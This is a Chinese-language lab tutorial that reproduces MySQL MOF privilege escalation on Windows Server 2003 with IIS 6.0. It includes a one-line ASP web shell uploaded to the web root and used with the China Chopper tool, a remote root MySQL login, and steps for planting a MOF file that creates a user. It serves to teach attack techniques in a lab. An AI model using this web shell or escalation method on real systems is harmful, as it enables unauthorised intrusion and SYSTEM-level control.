MySQL_MOF提权漏洞复现_Windows2003

 「作者简介」：冬奥会网络安全中国代表队，CSDN Top100，就职奇安信多年，以实战工作为基础著作 《网络安全自学教程》，适合基础薄弱的同学系统化的学习网络安全，用最短的时间掌握最核心的技术。

操作系统: Microsoft Windows server 2003

Web服务: IIS 6.0 + MySQL-5.5.22

原理

mof是Windows系统的一个文件(在c:/Windows/system32/wbem/mof/nullevt.mof),用来监控进程的创建和死亡,每隔5秒就会以system权限执行一次,攻击者将构造好的mof文件上传到指定目录下,就能执行任意命令

MOF提权的条件非常苛刻

1. 需要Windows2008以下的版本
2. 运行MySQL的用户必须是system
3. 必须知道MySQL的账号和密码
4. MySQL必须开启远程连接和文件读写功能

环境搭建

第一步,上传脚本文件到网站根目录并使用中国菜刀连接

IIS6.0的默认网站根目录是C:\Inetpub\wwwroot

<%execute(request("-7"))%>    一句话木马

使用中国菜刀连接

第二步,上传mof文件到系统的mof目录下

准备MOF文件,其作用是创建用户tom,可修改为其他任意命令

使用中国菜刀的文件管理功能,将nullevt.mof文件上传到C:\WINDOWS\Temp\目录下,Windows系统的temp目录默认有上传和执行的权限

物理机远程连接受害者的数据库,ip写受害者的ip

mysql -h 192.168.2.128 -uroot -proot

使用MySQL的文件读写功能将nullevt.mof文件从C:\WINDOWS\Temp目录移动到C:\WINDOWS\system32\wbem\mof目录下